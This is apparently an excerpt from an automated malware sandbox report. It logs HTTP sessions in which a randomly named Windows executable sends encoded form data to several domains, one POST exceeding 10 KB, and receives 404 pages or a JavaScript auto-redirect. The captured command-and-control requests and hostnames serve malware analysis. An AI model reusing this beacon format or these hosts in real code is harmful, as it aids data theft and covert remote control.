                                                            Data Raw: 58 48 61 38 70 48 38 3d 31 45 36 43 37 35 54 5a 70 4a 4e 45 53 62 43 78 4c 74 68 72 42 48 54 63 4e 57 46 41 65 32 76 66 47 2f 59 4c 7a 7a 36 37 4f 53 42 56 47 32 77 58 30 7a 72 68 42 5a 45 49 55 63 66 71 55 55 2f 2f 52 67 4c 62 61 6d 6d 44 68 2b 6c 75 79 4b 70 34 6e 4b 79 4b 65 46 62 2f 6f 6c 53 52 2b 34 48 5a 6e 39 63 6e 62 36 6f 41 42 4a 37 59 2b 34 6b 4d 47 77 68 59 69 51 35 34 47 2b 48 79 37 45 79 66 32 69 32 42 62 78 48 44 42 58 35 6c 58 74 42 65 76 4c 53 35 48 38 35 4a 67 35 56 46 37 61 4b 79 75 7a 69 52 58 67 32 37 63 44 6b 4b 59 48 77 42 35 48 70 7a 78 48 4c 7a 39 44 35 52 38 56 69 68 38 4a 71 51 4e 6a 39 6c 51 59 42 2b 48 64 76 34 50 41 69 38 6e 65 4f 7a 47 4e 6f 46 5a 69 36 49 55 30 35 62 30 43 39 48 54 56 66 4d 72 75 4b 2b 46 38 4a 65 46 7a 39 53 37 6b 53 66 37 58 6b 51 6a 50 2f 6e 6f 4c 79 2f 67 47 71 52 49 61 62 61 77 47 50 68 57 41 64 2f 64 34 76 4f 72 32 4a 42 74 49 32 65 5a 6a 49 54 6d 4e 54 2b 32 58 4c 4f 76 72 79 78 6a 38 69 6e 4c 56 7a 57 38 66 74 65 31 38 36 34 41 62 77 50 6e 35 [TRUNCATED]
                                                            Data Ascii: XHa8pH8=1E6C75TZpJNESbCxLthrBHTcNWFAe2vfG/YLzz67OSBVG2wX0zrhBZEIUcfqUU//RgLbammDh+luyKp4nKyKeFb/olSR+4HZn9cnb6oABJ7Y+4kMGwhYiQ54G+Hy7Eyf2i2BbxHDBX5lXtBevLS5H85Jg5VF7aKyuziRXg27cDkKYHwB5HpzxHLz9D5R8Vih8JqQNj9lQYB+Hdv4PAi8neOzGNoFZi6IU05b0C9HTVfMruK+F8JeFz9S7kSf7XkQjP/noLy/gGqRIabawGPhWAd/d4vOr2JBtI2eZjITmNT+2XLOvryxj8inLVzW8fte1864AbwPn5oo0CKwcVAG2p+YgnaI2s/TuMH4v/PNJuqyziIUOJ2ONATxN7UIIu7gCwUfyjg71WgGXQO9Ufz1GfxrxuVFUYDpwCaR9CwK5FH6wYOBEW7Wn7do4kc6M6E1z+8fov02aAWhn08/DQfZToEV5nP6gSWVLGOUkB4O7nqLiWZu3N8dIrEGrlVdv5PcDvbxUUYWVVV0k9EQjtx0NXPZ6wjFwawc4zO2vmQ3dkmBuDIFnqWv+DzaYY5slB+5G7Ygj1DVfAL1h7s8WPx7Vf60Wvd2epYKssLo3Rf+ixL9qiYMCLSx/ttTjNuipqAHyq/gqbbeIQh0DcDI4EfXP5AzRzKiTdZCXaBkc/o0k0YvXIvzlwJbqyk//t0FZhbDW9ex/4DFvXSENnwxTUgtiTRuRAIzH9hiid+fxV+fTfdNYzFq7Ivl4whO7D5fdF6NzFuENsBQQ/9CqhcO6jfO6+XgJf9wIcUKIXCOFxse8xPUYTicgLEuspiREtC3VOdmmmbroUY/fIfOrIT4cE+zFpzffo4Ci7Hgq3tCMtC2M7VRql74fvJUj/hTGqLp7p5mhdLw28pbty2mQmoEVSgIzvp5cPwn3blEKn766SA64Jm+cU1F4mrXAMSAkmLsLrRP92yfBFrrUZOmsXjMh1K7lQyrLfk+m1nmLCwOvO3hLWJF [TRUNCATED]
                                                            Nov 29, 2024 15:13:22.662872076 CET691INHTTP/1.1 404 Not Found
                                                            Server: nginx
                                                            Date: Fri, 29 Nov 2024 14:13:22 GMT
                                                            Content-Type: text/html
                                                            Content-Length: 548
                                                            Connection: close
                                                            Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                            Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            20192.168.2.44991345.141.156.114801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:13:24.068701982 CET363OUTGET /iuvu/?XHa8pH8=4GSi4NjhieA+eby3OKR9UHmAChFha0TZNopVgGr+MixqN2kv+x7vZ9YkKN38Qwr7I1LnRiqAhNhB07BIn5yneyjQ3W+H8Nz5kvkADuxuBf3arJIsYCs9inQ=&cBL4=dBU4KtqPg HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Connection: close
                                                            Host: www.logidant.xyz
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Nov 29, 2024 15:13:25.382369995 CET691INHTTP/1.1 404 Not Found
                                                            Server: nginx
                                                            Date: Fri, 29 Nov 2024 14:13:25 GMT
                                                            Content-Type: text/html
                                                            Content-Length: 548
                                                            Connection: close
                                                            Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                            Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            21192.168.2.44992927.124.4.246801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:13:31.601845026 CET629OUTPOST /36be/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 204
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.laohub10.net
                                                            Origin: http://www.laohub10.net
                                                            Referer: http://www.laohub10.net/36be/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Data Raw: 58 48 61 38 70 48 38 3d 2b 52 57 2f 42 36 57 30 66 4b 6d 61 64 49 78 36 6f 50 76 73 4d 2b 30 43 6c 59 47 50 47 50 54 78 32 4e 6d 46 75 69 6b 75 41 56 71 4b 63 2b 4a 33 31 7a 49 4c 77 35 31 64 6c 64 42 35 73 4d 36 31 47 50 32 4b 38 72 6f 73 38 45 2b 71 2f 69 79 4a 42 66 34 39 33 41 56 45 70 2f 6a 4c 59 53 79 33 36 4f 7a 30 69 61 62 50 4e 5a 46 36 58 2f 77 46 4d 61 53 6f 58 48 33 54 67 32 66 70 6f 78 71 65 71 53 59 47 35 32 4b 39 74 32 2b 78 43 63 48 68 76 67 2b 4c 4e 73 6d 75 46 47 71 43 49 69 6f 54 4f 56 5a 61 71 71 51 52 6e 2b 65 77 36 65 51 30 2b 4f 6a 34 4b 4b 35 48 63 32 68 76 52 79 49 7a 39 51 3d 3d
                                                            Data Ascii: XHa8pH8=+RW/B6W0fKmadIx6oPvsM+0ClYGPGPTx2NmFuikuAVqKc+J31zILw51dldB5sM61GP2K8ros8E+q/iyJBf493AVEp/jLYSy36Oz0iabPNZF6X/wFMaSoXH3Tg2fpoxqeqSYG52K9t2+xCcHhvg+LNsmuFGqCIioTOVZaqqQRn+ew6eQ0+Oj4KK5Hc2hvRyIz9Q==
                                                            Nov 29, 2024 15:13:32.990022898 CET525INHTTP/1.1 200 OK
                                                            Server: Apache
                                                            Content-Type: text/html; charset=utf-8
                                                            Accept-Ranges: bytes
                                                            Cache-Control: max-age=86400
                                                            Age: 1
                                                            Connection: Close
                                                            Content-Length: 350
                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 23 22 20 69 64 3d 22 78 22 3e 3c 2f 61 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 78 2e 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2d 62 6a 2e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 2e 6e 65 74 2f 3f 68 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 3b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 29 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 78 22 29 2e 63 6c 69 63 6b 28 29 3b 7d 65 6c 73 65 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 4d 6f 75 73 65 45 76 65 6e 74 73 22 29 3b 65 2e 69 6e 69 74 45 76 65 6e 74 28 22 63 6c 69 63 6b 22 2c 74 72 75 65 2c 74 72 75 65 29 3b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 78 22 29 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 65 29 3b 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f [TRUNCATED]
                                                            Data Ascii: <html><head></head><body><a href="#" id="x"></a><script type="text/javascript">x.href="https://cdn-bj.trafficmanager.net/?h="+window.location.host;if(document.all){document.getElementById("x").click();}else{var e=document.createEvent("MouseEvents");e.initEvent("click",true,true);document.getElementById("x").dispatchEvent(e);}</script></body></html>


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            22192.168.2.44993627.124.4.246801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:13:34.263957024 CET649OUTPOST /36be/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 224
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.laohub10.net
                                                            Origin: http://www.laohub10.net
                                                            Referer: http://www.laohub10.net/36be/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Data Raw: 58 48 61 38 70 48 38 3d 2b 52 57 2f 42 36 57 30 66 4b 6d 61 62 6f 68 36 6b 4a 6e 73 5a 4f 30 44 35 6f 47 50 4a 76 53 32 32 4e 36 46 75 6d 56 6c 42 6e 2b 4b 62 66 35 33 32 78 77 4c 39 5a 31 64 71 39 42 38 69 73 37 33 47 50 79 73 38 75 41 73 38 41 65 71 2f 6e 4f 4a 42 4f 34 2b 30 77 56 47 77 76 6a 4a 63 53 79 33 36 4f 7a 30 69 65 4c 70 4e 64 70 36 55 4f 41 46 4e 37 53 6e 5a 6e 33 55 33 47 66 70 6a 52 71 61 71 53 59 77 35 7a 53 62 74 77 36 78 43 65 66 68 76 31 65 4d 61 38 6d 30 4c 6d 72 67 43 48 59 57 4c 32 34 77 74 49 4d 75 70 39 71 53 2f 59 64 75 76 2f 43 76 59 4b 64 30 42 78 6f 62 63 78 31 36 6d 63 47 38 37 6b 30 4c 51 78 69 37 76 32 50 4d 55 69 33 33 43 79 51 3d
                                                            Data Ascii: XHa8pH8=+RW/B6W0fKmaboh6kJnsZO0D5oGPJvS22N6FumVlBn+Kbf532xwL9Z1dq9B8is73GPys8uAs8Aeq/nOJBO4+0wVGwvjJcSy36Oz0ieLpNdp6UOAFN7SnZn3U3GfpjRqaqSYw5zSbtw6xCefhv1eMa8m0LmrgCHYWL24wtIMup9qS/Yduv/CvYKd0Bxobcx16mcG87k0LQxi7v2PMUi33CyQ=
                                                            Nov 29, 2024 15:13:35.605968952 CET525INHTTP/1.1 200 OK
                                                            Server: Apache
                                                            Content-Type: text/html; charset=utf-8
                                                            Accept-Ranges: bytes
                                                            Cache-Control: max-age=86400
                                                            Age: 1
                                                            Connection: Close
                                                            Content-Length: 350
                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 23 22 20 69 64 3d 22 78 22 3e 3c 2f 61 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 78 2e 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2d 62 6a 2e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 2e 6e 65 74 2f 3f 68 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 3b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 29 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 78 22 29 2e 63 6c 69 63 6b 28 29 3b 7d 65 6c 73 65 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 4d 6f 75 73 65 45 76 65 6e 74 73 22 29 3b 65 2e 69 6e 69 74 45 76 65 6e 74 28 22 63 6c 69 63 6b 22 2c 74 72 75 65 2c 74 72 75 65 29 3b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 78 22 29 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 65 29 3b 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f [TRUNCATED]
                                                            Data Ascii: <html><head></head><body><a href="#" id="x"></a><script type="text/javascript">x.href="https://cdn-bj.trafficmanager.net/?h="+window.location.host;if(document.all){document.getElementById("x").click();}else{var e=document.createEvent("MouseEvents");e.initEvent("click",true,true);document.getElementById("x").dispatchEvent(e);}</script></body></html>


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            23192.168.2.44994327.124.4.246801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:13:36.934530973 CET10731OUTPOST /36be/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 10304
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.laohub10.net
                                                            Origin: http://www.laohub10.net
                                                            Referer: http://www.laohub10.net/36be/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Data Raw: 58 48 61 38 70 48 38 3d 2b 52 57 2f 42 36 57 30 66 4b 6d 61 62 6f 68 36 6b 4a 6e 73 5a 4f 30 44 35 6f 47 50 4a 76 53 32 32 4e 36 46 75 6d 56 6c 42 6e 47 4b 62 6f 52 33 31 57 63 4c 38 5a 31 64 6a 64 42 39 69 73 37 32 47 50 4b 6f 38 75 46 62 38 43 6d 71 2b 46 32 4a 51 4d 41 2b 76 67 56 47 74 2f 6a 55 59 53 79 59 36 4f 6a 34 69 61 58 70 4e 64 70 36 55 4e 6f 46 4e 71 53 6e 4a 58 33 54 67 32 66 74 6f 78 71 79 71 53 41 67 35 79 6e 6d 74 6a 79 78 44 2b 50 68 6a 68 2b 4d 46 4d 6d 71 47 47 72 47 43 48 64 47 4c 32 55 57 74 4a 34 45 70 36 43 53 2b 65 55 33 71 75 37 30 4a 38 52 59 62 67 59 39 53 57 49 38 72 73 36 55 36 68 73 2b 43 43 79 30 30 45 53 61 49 42 7a 73 55 6b 75 57 53 53 57 45 64 43 41 50 2b 36 61 58 34 42 76 58 67 65 5a 56 38 6d 41 58 74 48 44 55 34 77 43 43 65 4e 78 54 53 61 4c 63 56 4b 55 35 38 77 62 4c 67 65 55 46 35 67 30 77 6f 58 65 65 4e 76 72 73 73 69 61 2b 68 70 72 42 77 77 42 74 53 47 36 54 4c 4a 6c 71 78 39 6a 5a 70 64 4e 4b 61 47 79 51 6c 36 54 4e 2f 58 4e 73 54 48 61 2b 6a 4e 43 44 42 52 [TRUNCATED]
                                                            Data Ascii: XHa8pH8=+RW/B6W0fKmaboh6kJnsZO0D5oGPJvS22N6FumVlBnGKboR31WcL8Z1djdB9is72GPKo8uFb8Cmq+F2JQMA+vgVGt/jUYSyY6Oj4iaXpNdp6UNoFNqSnJX3Tg2ftoxqyqSAg5ynmtjyxD+Phjh+MFMmqGGrGCHdGL2UWtJ4Ep6CS+eU3qu70J8RYbgY9SWI8rs6U6hs+CCy00ESaIBzsUkuWSSWEdCAP+6aX4BvXgeZV8mAXtHDU4wCCeNxTSaLcVKU58wbLgeUF5g0woXeeNvrssia+hprBwwBtSG6TLJlqx9jZpdNKaGyQl6TN/XNsTHa+jNCDBRGmlNFg7cU0zE6HAMurjPJdayxAgy62M88Btbo4gU8lagGGzzv/O/hx964/qWY/gMy1R+XZQhdnf8rAzaKHJsGJfap2mEPUaDZFI6SHY5mmRyL60sSCts9AWyaiN5jRFeKZl58/rdUKCcAO8h7lIC7QVp6i1zwWgjCZY/8qWAzO+fSzOZGXM0UjoW5m5Yqf7+57k8u+PetCvgHv9DMQMoDQPVh78d8YKCPfxkWCsHf3Y7jrys1bgHQuWhWHCw1bWNq47/lVy+tjNpDSEn3TaZx+TaPdN4YpmRKuWBcTlgpkfpJlYyOvv3vHfDKeFeZsBRWNDbrJCVVD6lmvl4gfJ15bVj3Ro86myi25z//46xEi5cKj38X9yac0PmaBiZcByNCy8OPhdR+GDEIlUFyHFyPweUi1RBaUjACjNBccHqmVgHSwg1CvvkCPW7EkAf8wBkzrxwVQaGEusnj3m8XkbPrX1Co8xmrV6p1z9gy7Pt2laZx6Jqf6qFKa9C7POxF6CD9vLN4G7Wpy4a3deI+fCDTElu5H+6bfQgZ/aVoT43l6RlYuf2cb4xBDa6oRGVDDvlBSrTkhzGuHt8d4KGX4vudBiL/uWrmAj+b5C71vaDGeUxEHAbImwiGGgjOc1U09xT0ck+9Tc0g3YWpFsEkenYK67hILtEP4osZK [TRUNCATED]
                                                            Nov 29, 2024 15:13:38.315608025 CET525INHTTP/1.1 200 OK
                                                            Server: Apache
                                                            Content-Type: text/html; charset=utf-8
                                                            Accept-Ranges: bytes
                                                            Cache-Control: max-age=86400
                                                            Age: 1
                                                            Connection: Close
                                                            Content-Length: 350
                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 23 22 20 69 64 3d 22 78 22 3e 3c 2f 61 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 78 2e 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2d 62 6a 2e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 2e 6e 65 74 2f 3f 68 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 3b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 29 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 78 22 29 2e 63 6c 69 63 6b 28 29 3b 7d 65 6c 73 65 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 4d 6f 75 73 65 45 76 65 6e 74 73 22 29 3b 65 2e 69 6e 69 74 45 76 65 6e 74 28 22 63 6c 69 63 6b 22 2c 74 72 75 65 2c 74 72 75 65 29 3b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 78 22 29 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 65 29 3b 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f [TRUNCATED]
                                                            Data Ascii: <html><head></head><body><a href="#" id="x"></a><script type="text/javascript">x.href="https://cdn-bj.trafficmanager.net/?h="+window.location.host;if(document.all){document.getElementById("x").click();}else{var e=document.createEvent("MouseEvents");e.initEvent("click",true,true);document.getElementById("x").dispatchEvent(e);}</script></body></html>


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            24192.168.2.44995027.124.4.246801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:13:39.585872889 CET363OUTGET /36be/?XHa8pH8=zT+fCPSXWqCfWPgPkoP8augIhoSODsGx9/DVuG0pIlquWt59hgdSk8Rx6eVvndf2YPyLwPhL3z2g/EyQU+U7rERMucz0ZFCszNnC27qzdt1he7kDJbjieX8=&cBL4=dBU4KtqPg HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Connection: close
                                                            Host: www.laohub10.net
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Nov 29, 2024 15:13:40.969880104 CET525INHTTP/1.1 200 OK
                                                            Server: Apache
                                                            Content-Type: text/html; charset=utf-8
                                                            Accept-Ranges: bytes
                                                            Cache-Control: max-age=86400
                                                            Age: 1
                                                            Connection: Close
                                                            Content-Length: 350
                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 23 22 20 69 64 3d 22 78 22 3e 3c 2f 61 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 78 2e 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2d 62 6a 2e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 2e 6e 65 74 2f 3f 68 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 3b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 29 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 78 22 29 2e 63 6c 69 63 6b 28 29 3b 7d 65 6c 73 65 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 4d 6f 75 73 65 45 76 65 6e 74 73 22 29 3b 65 2e 69 6e 69 74 45 76 65 6e 74 28 22 63 6c 69 63 6b 22 2c 74 72 75 65 2c 74 72 75 65 29 3b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 78 22 29 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 65 29 3b 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f [TRUNCATED]
                                                            Data Ascii: <html><head></head><body><a href="#" id="x"></a><script type="text/javascript">x.href="https://cdn-bj.trafficmanager.net/?h="+window.location.host;if(document.all){document.getElementById("x").click();}else{var e=document.createEvent("MouseEvents");e.initEvent("click",true,true);document.getElementById("x").dispatchEvent(e);}</script></body></html>


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            25192.168.2.449967104.21.40.167801448C:\Program Files (x86)\naJYRddNTcwhmqueJLqOVvjSLwPNeqPOuIjJfOpkj\ROCRLWAZDr.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 15:13:46.703783989 CET632OUTPOST /kf1m/ HTTP/1.1
                                                            Accept: */*
                                                            Accept-Language: en-US
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 204
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Cache-Control: max-age=0
                                                            Host: www.zkdamdjj.shop
                                                            Origin: http://www.zkdamdjj.shop
                                                            Referer: http://www.zkdamdjj.shop/kf1m/
                                                            User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
                                                            Data Raw: 58 48 61 38 70 48 38 3d 74 42 58 6c 4d 53 6b 49 78 4a 38 58 44 4a 31 63 58 48 65 4e 38 6e 34 79 33 37 51 49 45 50 47 61 42 49 46 48 4c 5a 73 31 35 67 62 67 73 4c 34 74 56 47 5a 4d 30 4c 7a 58 31 48 71 66 70 38 6e 31 66 52 64 52 59 42 4f 7a 39 41 33 4e 44 2f 70 5a 32 6b 30 4a 66 49 53 58 66 63 42 49 71 67 34 5a 74 2b 32 6c 4f 6a 54 6c 4a 4a 4c 77 49 4e 38 63 77 31 33 52 75 73 39 36 51 76 70 2f 7a 35 48 67 42 4b 6a 2b 67 63 36 6a 6f 4f 6e 67 4a 79 63 63 66 61 42 75 43 49 34 53 63 57 43 51 30 36 75 53 36 51 33 37 38 53 61 65 55 39 6f 4d 6b 64 31 69 33 4f 70 71 6f 74 6c 64 36 39 36 4c 62 7a 6e 46 52 51 3d 3d
                                                            Data Ascii: XHa8pH8=tBXlMSkIxJ8XDJ1cXHeN8n4y37QIEPGaBIFHLZs15gbgsL4tVGZM0LzX1Hqfp8n1fRdRYBOz9A3ND/pZ2k0JfISXfcBIqg4Zt+2lOjTlJJLwIN8cw13Rus96Qvp/z5HgBKj+gc6joOngJyccfaBuCI4ScWCQ06uS6Q378SaeU9oMkd1i3Opqotld696LbznFRQ==


